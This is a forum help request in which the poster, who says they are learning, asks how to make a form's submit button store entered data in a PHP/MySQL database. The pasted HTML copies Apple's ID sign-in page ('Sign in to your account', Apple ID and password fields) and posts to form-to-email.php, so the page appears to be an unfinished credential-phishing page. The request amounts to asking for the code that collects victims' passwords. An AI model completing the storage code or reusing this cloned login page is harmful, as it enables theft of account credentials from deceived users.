Help linking html to php

I am trying to find code that will connect my “submit” button on my site to myphpadmin so that when the receiver/member clicks the “submit” button the info goes straight to my storage and a Thank you response replies on their screen. I am new to writing code and am slowly teaching myself–so I understand this is probably second nature to most of you. As it is like learning Japanese to me, can someone please provide me with the information I need assuming I know nothing.

I have my code written for my page which includes the submit button. How do I include code to have the content sent to my database?

Should my action not read “form to email?” Should it just read action=post?
What about action=get?

I copied some of the code from other sources as I learn which is why some things might not be necessary, but for my purposes at this moment it is functional other than being able to figure out how to get the information to me after the receiver pushes submit. What do I need to do within my database if anything? What is mysql and do I need to do anything with that?

This is for an assignment and does not need to be perfect. Just need it to work. I have included the code for my form with submit button but know absolutely nothing regarding how to write the php code and where it should go within my html code.
Thank you,

<!doctype html>
<body class="tk-body sf-ns-ui">
<div class="si-body si-container container-fluid" id="content" data-theme="lite">
  <apple-auth app-loading-defaults="{appLoadingDefaults}">
  <appleid-logo mode="{mode}">
    <div id="apple-id-logo" class="apple-id-logo hide-always"> <i aria-hidden="true" class="icon icon_apple"></i> </div>
  <div class="widget-container fade-in  restrict-max-wh  fade-in " data-mode="embed" data-isiebutnotedge="false">
  <div id="step" class="si-step ">
  <logo  {show-fade-in}="showFadeIn">
       <div class="logo   signin-label  fade-in">  </div>
   <div id="stepEl" class="   ">
   <sign-in suppress-iforgot="{suppressIforgot}" {on-test-idp}="@_onTestIdp">
   <div class="signin fade-in" id="signin">
   <h1 tabindex="-1" class="si-container-title tk-intro "> Sign in to your account </h1>
<div class="container si-field-container    ">
<div class="no-gutter si-field apple-id">
<div class="col-xs-12"> <span class="sr-only" id="appleIdFieldLabel" aria-hidden="true">  </span>
 <div class="ax-border apple-id ">
<input type="text" id="appleId" can-field="accountName" autocomplete="off" autocorrect="off" autocapitalize="off" aria-required="true" required="required" aria-labelledby="appleIdFieldLabel" spellcheck="false" class="si-text-field form-textbox " placeholder="Full name">
     <div class="field-separator "></div>
     <div class="no-gutter si-field pwd">
     <div class="col-xs-12">
                <label for="pwd" class="sr-only" aria-hidden="true"> </label>
              <form method="post" action="form-to-email.php">
                <div class="ax-border Apple ID">
                  <input type="text" id="Apple ID" class="si-text-field form-textbox" placeholder="Password">
                <input type="submit" value="Submit" />